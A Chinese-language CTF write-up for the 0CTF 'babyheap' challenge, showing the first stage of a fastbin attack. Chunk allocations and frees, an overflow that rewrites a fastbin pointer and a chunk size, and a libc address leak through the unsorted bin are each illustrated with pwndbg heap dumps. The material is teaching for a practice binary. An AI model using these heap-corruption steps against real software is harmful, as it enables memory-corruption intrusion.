0ctfbabyheap

被0ctf的这道题目搞了好久。记录一下
思路是使用fastbin attack,how2heap上有一个栗子可以分析一下
先申请5个chunk,free之后使得 fastbin[0]->idx1->idx2->NULL
allocate(0x10) # idx 0, 0x00
allocate(0x10) # idx 1, 0x20
allocate(0x10) # idx 2, 0x40
allocate(0x10) # idx 3, 0x60
allocate(0x80) # idx 4, 0x80
# free idx 1, 2, fastbin[0]->idx1->idx2->NULL
free(2)
free(1)
此时的bins
pwndbg> bins
fastbins
0x20: 0x5619d93ea020 —▸ 0x5619d93ea040 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
pwndbg> x/40gx 0x5619d93ea000
0x5619d93ea000: 0x0000000000000000 0x0000000000000021 --->idx0
0x5619d93ea010: 0x0000000000000000 0x0000000000000000
0x5619d93ea020: 0x0000000000000000 0x0000000000000021 --->idx1
0x5619d93ea030: 0x00005619d93ea040 0x0000000000000000
0x5619d93ea040: 0x0000000000000000 0x0000000000000021 --->idx2
0x5619d93ea050: 0x0000000000000000 0x0000000000000000
0x5619d93ea060: 0x0000000000000000 0x0000000000000021 --->idx3
0x5619d93ea070: 0x0000000000000000 0x0000000000000000
0x5619d93ea080: 0x0000000000000000 0x0000000000000091 --->idx4
0x5619d93ea090: 0x0000000000000000 0x0000000000000000
0x5619d93ea0a0: 0x0000000000000000 0x0000000000000000
0x5619d93ea0b0: 0x0000000000000000 0x0000000000000000
0x5619d93ea0c0: 0x0000000000000000 0x0000000000000000
0x5619d93ea0d0: 0x0000000000000000 0x0000000000000000
0x5619d93ea0e0: 0x0000000000000000 0x0000000000000000
0x5619d93ea0f0: 0x0000000000000000 0x0000000000000000
0x5619d93ea100: 0x0000000000000000 0x0000000000000000
0x5619d93ea110: 0x0000000000000000 0x0000000000020ef1
0x5619d93ea120: 0x0000000000000000 0x0000000000000000
然后我们修改idx2的指针,通过fill idx0造成溢出,同时由于内存对齐,可以肯定idx4的指针最后肯定是0x80
修改后如下:
pwndbg> x/40gx 0x560e5e91c000
0x560e5e91c000: 0x0000000000000000 0x0000000000000021 --->idx0
0x560e5e91c010: 0x6161616161616161 0x6161616161616161
0x560e5e91c020: 0x0000000000000000 0x0000000000000021 --->idx1
0x560e5e91c030: 0x0000560e5e91c080 0x0000000000000000
0x560e5e91c040: 0x0000000000000000 0x0000000000000021 --->idx2
0x560e5e91c050: 0x0000000000000000 0x0000000000000000
0x560e5e91c060: 0x0000000000000000 0x0000000000000021 --->idx3
0x560e5e91c070: 0x0000000000000000 0x0000000000000000
0x560e5e91c080: 0x0000000000000000 0x0000000000000091 --->idx4
0x560e5e91c090: 0x0000000000000000 0x0000000000000000
此时的bins指向:
pwndbg> bins
fastbins
0x20: 0x560e5e91c020 —▸ 0x560e5e91c080 ◂— 0x0 (idx2-->idx4)
0x30: 0x0
0x40: 0x0
0x50: 0x0
如果再连续申请两个chunk,那么第一次是idx2,第二次就是idx4
但是malloc有一个check机制,如果两个fastbin的大小不一样就会报错,所以我们再借用一下idx3,让其溢出到idx4,修改idx4的大小
pwndbg> x/40gx 0x5573e66cd000
0x5573e66cd000: 0x0000000000000000 0x0000000000000021 --->idx0
0x5573e66cd010: 0x6161616161616161 0x6161616161616161
0x5573e66cd020: 0x0000000000000000 0x0000000000000021 --->idx1
0x5573e66cd030: 0x00005573e66cd080 0x0000000000000000
0x5573e66cd040: 0x0000000000000000 0x0000000000000021 --->idx2
0x5573e66cd050: 0x0000000000000000 0x0000000000000000
0x5573e66cd060: 0x0000000000000000 0x0000000000000021 --->idx3
0x5573e66cd070: 0x6161616161616161 0x6161616161616161
0x5573e66cd080: 0x0000000000000000 0x0000000000000021 --->idx4
0x5573e66cd090: 0x0000000000000000 0x0000000000000000
此时idx4的大小已经被修改了,于是可以申请了
allocate(0x10) # idx 1
allocate(0x10) # idx 2, which point to idx4's location
之后,如果我们想要将 idx 4 放到 unsorted bin 中的话,先需要把它的大小改回来,同时为了防止其与 top chunk 合并,我们需要再次申请一个 chunk。此后再释放 idx4 就会进入 unsorted bin 中去了。
pwndbg> x/40gx 0x559b5b9a5000
0x559b5b9a5000: 0x0000000000000000 0x0000000000000021 --->idx0
0x559b5b9a5010: 0x6161616161616161 0x6161616161616161
0x559b5b9a5020: 0x0000000000000000 0x0000000000000021 --->idx1
0x559b5b9a5030: 0x0000000000000000 0x0000000000000000
0x559b5b9a5040: 0x0000000000000000 0x0000000000000021 --->idx2
0x559b5b9a5050: 0x0000000000000000 0x0000000000000000
0x559b5b9a5060: 0x0000000000000000 0x0000000000000021 --->idx3
0x559b5b9a5070: 0x6161616161616161 0x6161616161616161
0x559b5b9a5080: 0x0000000000000000 0x0000000000000091 --->idx4
0x559b5b9a5090: 0x00007fa9e254eb78 0x00007fa9e254eb78
0x559b5b9a50a0: 0x0000000000000000 0x0000000000000000
0x559b5b9a50b0: 0x0000000000000000 0x0000000000000000
0x559b5b9a50c0: 0x0000000000000000 0x0000000000000000
此时dump(2)就可以得到unsorted bin 的地址了。
此时的bins如下
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x559b5b9a5080 —▸ 0x7fa9e254eb78 (main_arena+88) ◂— 0x559b5b9a5080
smallbins